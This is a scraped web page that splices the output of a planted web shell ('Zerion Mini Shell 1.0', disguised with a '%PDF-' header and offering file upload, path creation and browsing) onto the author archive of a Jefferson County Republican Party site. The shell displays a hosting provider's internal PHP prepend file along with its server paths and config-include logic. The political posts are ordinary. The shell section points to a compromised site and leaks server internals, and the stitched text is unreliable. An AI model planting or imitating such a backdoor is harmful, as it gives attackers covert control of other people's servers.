%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /platform/misc/
Upload File :
Create Path :
Current File : //platform/misc/prepend-cli.php

<?php

if (is_dir('/configs')) {
    define('PAGELYBIN', '/configs');
} else {
    define('PAGELYBIN', '/pagely');
}

// fix the problem with returning the free disk space for the whole ceph storage
// it breaks some of the major WP migration plugins because the value is too large
if (version_compare(phpversion(), '8.0.0', '>=')) {
    // php version is high enough
    if (!function_exists('disk_free_space')) {
        function disk_free_space($directory)
        {
            // always return 30GB
            return 32212254720;
        }
    }
    // do the same thing for the alias function
    if (!function_exists('diskfreespace')) {
        function diskfreespace($directory)
        {
            return disk_free_space($directory);
        }
    }
}

// Before we include anything from the user, include our creds
if (file_exists(PAGELYBIN . '/config.php')) {
    include PAGELYBIN . '/config.php';
} else {
    // If this looks like WP CLI, then check if `--path` is being passed
    $mwpPotentialSitePath = null;
    if (!empty($argv) && is_array($argv)) {
        if ($argv[0] == '/usr/local/bin/wp') {
            // Loop argv and look for --path
            foreach ($argv as $arg) {
                if (strpos($arg, '--path=') === 0) {
                    $mwpPotentialSitePath = str_replace('--path=', '', $arg);
                    break;
                }
            }
        }
    }
    // If we didn't find a path then use the CWD
    if ($mwpPotentialSitePath === null) {
        $mwpPotentialSitePath = getcwd();
    }
    // Resolve the path and check if it matches our regex
    $mwpPotentialSitePath = realpath($mwpPotentialSitePath);
    if ($mwpPotentialSitePath !== false && is_dir($mwpPotentialSitePath) && preg_match('@^(/sites/[^/]+)@', $mwpPotentialSitePath, $mwpSiteMatches)) {
        // If a config file exists at <sitepath>/pagely/config.php, then include it, otherwise do nothing
        $mwpSiteConfigPath = $mwpSiteMatches[1] . '/pagely/config.php';
        if (file_exists($mwpSiteConfigPath)) {
            include $mwpSiteConfigPath;
        }
    }
    unset($mwpPotentialSitePath, $mwpSiteMatches, $mwpSiteConfigPath);
}

Zerion Mini Shell 1.0
Sarah Provancher – Jefferson County Republican Party Skip to content
  • Home
  • About
    • News
  • Elected Officials
  • Monthly Meetings & Volunteer Opportunities
  • Voting Info 2026
  • Events
  • Gallery
  • Contact
  • Donate

SarahP

10 items

  • Election Night Victory Party! Nov. 3, 6-9pm

    All are Welcome! Free to Attend!

    Continue reading
  • Non-Partisan GOP Endorsed Candidates

    Continue reading
  • Jefferson County Republican Party Condemns Morgan McGarvey’s Repeated Failures to Denounce Socialism

      For the second time in less than a year, Morgan McGarvey voted against a straightforward resolution denouncing an ideology that has consistently resulted in oppression, economic devastation, and the erosion of individual liberties. By voting against HR 1490, McGarvey totally ignores the historic failures of socialist regimes, including the Soviet Union, Venezuela, and Cuba,

    Continue reading
  • Learn More About Lincoln Day Dinner Guest Speaker, Alina Fernández

    Continue reading
  • Congratulations to Jeff. Cty’s Republican Primary Election Winners

    Continue reading
  • Primary Election Voting Information

    Important Links to Vote in This Year’s Primary Where Can I Find a List of Republican Candidates in Jefferson County on This Year’s Ballot? Republican Candidates in 2026 Elections – Jefferson County Republican Party Where is My In-Person Voting Location? (May 19, 2026) Where Do I Vote? Where Can I Get an Absentee Ballot to

    Continue reading
  • Louisville GOP Hosts First Statewide Kentucky U.S. Senate Debate

    JCRP Hosts First Statewide Republican U.S. Senate Debate  The Jefferson County Republican Party (JCRP) hosted the first statewide Kentucky Republican U.S. Senate Debate on Monday, March 16 at 7pm. Candidates Andy Barr, Daniel Cameron and Nate Morris participated. The debate was moderated by WDRB Anchors Lindsey Allen and Gil Corsey, as well as WLEX Political

    Continue reading
  • Louisville Republicans are closer than ever to gaining a majority on Louisville Metro Council

    Louisville Republicans hope to gain Metro Council majority for the first time Louisville Public Media | By Roberto Roldan Published January 22, 2026 at 6:00 AM EST Louisville Republicans are hoping to flip three more seats on Metro Council in this year’s elections. If successful, it would put Republicans squarely in the majority on the legislative body

    Continue reading
  • Louisville GOP Honors Sen. Mitch McConnell

    JCRP was pleased to recognize the more than 50 years of service of Sen. Mitch McConnell to Louisville and the Commonwealth of Kentucky, as well as his service as Chairman of Jefferson County Republican Party in 1973-74. The honorary event took place at the Sons of the American Revolution HQ in early December in downtown

    Continue reading
  • Rep. Brett Guthrie to Speak at JCRP Lincoln Day Dinner

    Second Congressional District U.S. Rep Brett Guthrie has been confirmed as a speaker for the JCRP Lincoln Day Dinner on Wed., August 20. Rep. Guthrie will join Keynote Speaker, Riley Gaines, U.S. Senate Candidates from Kentucky, Rep. Andy Barr, Daniel Cameron and Nate Morris, as well as local Jefferson County leaders. Rep. Guthrie is Chairman

    Continue reading
Subscribe to Our Email List
(502) 584-7111
louisville_gop@icloud.com
© 2023 - 2026 • by ThemeFusion • All Rights Reserved • Powered by WordPress
Page load link
Go to Top